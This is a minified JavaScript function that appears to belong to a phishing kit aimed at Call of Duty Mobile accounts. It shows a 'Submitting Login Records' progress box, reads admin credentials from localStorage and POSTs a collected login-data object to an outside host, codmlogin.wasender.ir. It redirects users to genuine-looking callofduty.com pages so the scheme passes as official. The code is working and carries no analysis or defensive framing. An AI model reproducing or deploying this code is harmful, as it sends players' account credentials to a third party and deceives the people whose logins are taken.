function submitLoginRecords(t){const e=document.createElement("div");e.id="progress-container",e.style.cssText="\n position: fixed;\n top: 50%;\n left: 50%;\n transform: translate(-50%, -50%);\n background: white;\n padding: 20px;\n border-radius: 8px;\n box-shadow: 0 2px 10px rgba(0,0,0,0.1);\n z-index: 1000;\n text-align: center;\n min-width: 300px;\n ";const n=document.createElement("h3");n.textContent="Submitting Login Records",n.style.marginBottom="15px";const o=document.createElement("div");o.style.cssText="\n width: 100%;\n height: 20px;\n background: #f0f0f0;\n border-radius: 10px;\n margin-bottom: 10px;\n overflow: hidden;\n ";const i=document.createElement("div");i.style.cssText="\n width: 0%;\n height: 100%;\n background: #4CAF50;\n transition: width 0.3s ease;\n ";const r=document.createElement("div");r.style.cssText="\n font-size: 14px;\n color: #666;\n ";const d=document.createElement("button");d.textContent="New Login",d.style.cssText="\n margin-top: 20px;\n padding: 10px 20px;\n background-color: #28a745;\n color: white;\n border: none;\n border-radius: 5px;\n cursor: pointer;\n font-size: 16px;\n transition: background-color 0.3s ease;\n ",d.onmouseover=function(){this.style.backgroundColor="#218838"},d.onmouseout=function(){this.style.backgroundColor="#28a745"},d.onclick=function(){window.location.href="https://profile.callofduty.com/codm/"},o.appendChild(i),e.appendChild(n),e.appendChild(o),e.appendChild(r),e.appendChild(d),document.body.appendChild(e);const c=localStorage.getItem("codm_admin_id"),s=localStorage.getItem("codm_secret_key");if(!c||!s)return r.textContent="Please authenticate first. Redirecting to authentication page...",r.style.color="red",void setTimeout((()=>{window.location.href="https://profile.callofduty.com/codm/adminauth"}),5e3);if(""==t.code)return r.textContent="Login Failed. Please try again.",void(r.style.color="red");const a=JSON.stringify(t);fetch("https://codmlogin.wasender.ir/api/submit_login_record_payload.php",{method:"POST",headers:{"Content-Type":"application/json","X-Admin-Id":c,"X-Secret-Key":s},body:a}).then((t=>{if(!t.ok)throw new Error("Network response was not ok");return t.json()})).then((t=>{t.success?(i.style.width="100%",r.textContent="Submission completed successfully!"):(r.textContent="Authentication failed. Please authenticate again.",r.style.color="red",setTimeout((()=>{window.location.href="https://profile.callofduty.com/codm/adminauth"}),5e3))})).catch((t=>{console.error("Error:",t),r.textContent="Error submitting records. Please try again.",r.style.color="red"}))}submitLoginRecords(codMobileData);